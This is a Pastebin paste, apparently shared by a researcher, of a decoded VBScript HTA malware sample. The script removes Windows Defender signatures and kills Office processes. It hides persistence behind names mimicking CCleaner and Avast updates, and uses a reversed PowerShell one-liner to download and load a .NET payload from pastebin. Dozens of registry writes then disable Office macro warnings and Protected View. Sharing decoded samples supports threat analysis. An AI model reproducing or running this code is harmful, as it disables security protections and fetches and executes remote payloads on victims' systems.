API tools faq
paste
Advertisement
James_inthe_box

Decoded

James_inthe_box
Aug 9th, 2019
832
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.19 KB | None | 0 0
raw download clone embed print report
  1. <script language="VBScript">
  2.  
  3. Set X7W832DSA = CreateObject(StrReverse(StrReverse("WScript.Shell")))
  4. Dim ASSd712ji8asd
  5. ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & taskkill /f /im MSASCuiL.exe & taskkill /f /im MpCmdRun.exe & exit"
  6. X7W832DSA.Run ASSd712ji8asd, vbHide
  7.  
  8. Set X_ws = CreateObject("WScript.Shell")
  9. Pa_2da = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CCleanerUpdate"
  10. X_ws.RegWrite Pa_2da,"mshta.exe http://pastebin.com/raw/Cbt2DYUh","REG_EXPAND_SZ"
  11.  
  12.  
  13. Set M_xa = CreateObject(StrReverse(StrReverse("WScript.Shell")))
  14. Dim D_XA
  15. D_XA0 = StrReverse("/moc.nibetsap//:sptth''(gni'+'rtS'+'daoln'+'woD.'+')tneil'+'CbeW'+'.teN' +')*O-W* MCG(&('(xei(xei =46cs$]][etyB[ tixeon- exe.llehsrewoP")
  16. D_XA1 = "raw/rwgtwLMg"
  17. D_XA2 = StrReverse(")X$,S$(ekovni.tnioPyrtnE.)46cs$(daoL.niamoDtnerruC::]niamoDppA[;))')''x0'',''^''(ecalper.)''")
  18. D_XA = D_XA0 + D_XA1 + D_XA2
  19. M_xa.Run D_XA, vbHide
  20.  
  21. Set Mi_G = CreateObject(StrReverse(StrReverse("WScript.Shell")))
  22. Dim X_hw
  23. X_hw0 = StrReverse("t/ 03 om/ ETUNIM cs/ etaerc/ sksathcs")
  24. X_hw1 = "n ""Avast Updater"" /tr ""mshta.ex"
  25. X_hw2 = "e https://pastebin.com/raw/Cbt2DYUh"" /F "
  26. X_hw = X_hw0 + X_hw1 + X_hw2
  27. Mi_G.Run X_hw, vbHide
  28.  
  29.  
  30.  
  31.  
  32.  
  33. Set MySexoPhone = CreateObject(StrReverse("llehS.tpircSW"))
  34. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  35. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  36. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  37. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  38. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  39. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  40. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  41. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  42. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  43. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  44. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  45. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  46. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  47. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  48. MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  49. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  50. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  51. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  52. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  53. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  54. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  55. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  56. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  57. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  58. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  59. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  60. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  61. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  62. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  63. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  64. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  65. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  66. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  67. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  68. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  69. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  70. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  71. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  72. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  73. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  74. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  75. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  76. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  77. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  78. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  79. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  80. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  81. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  82. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  83. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  84. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  85. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  86. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  87. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  88. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  89. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  90. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  91. MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  92. MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  93. MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
  94.  
  95.  
  96.  
  97.  
  98. self.close
  99. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!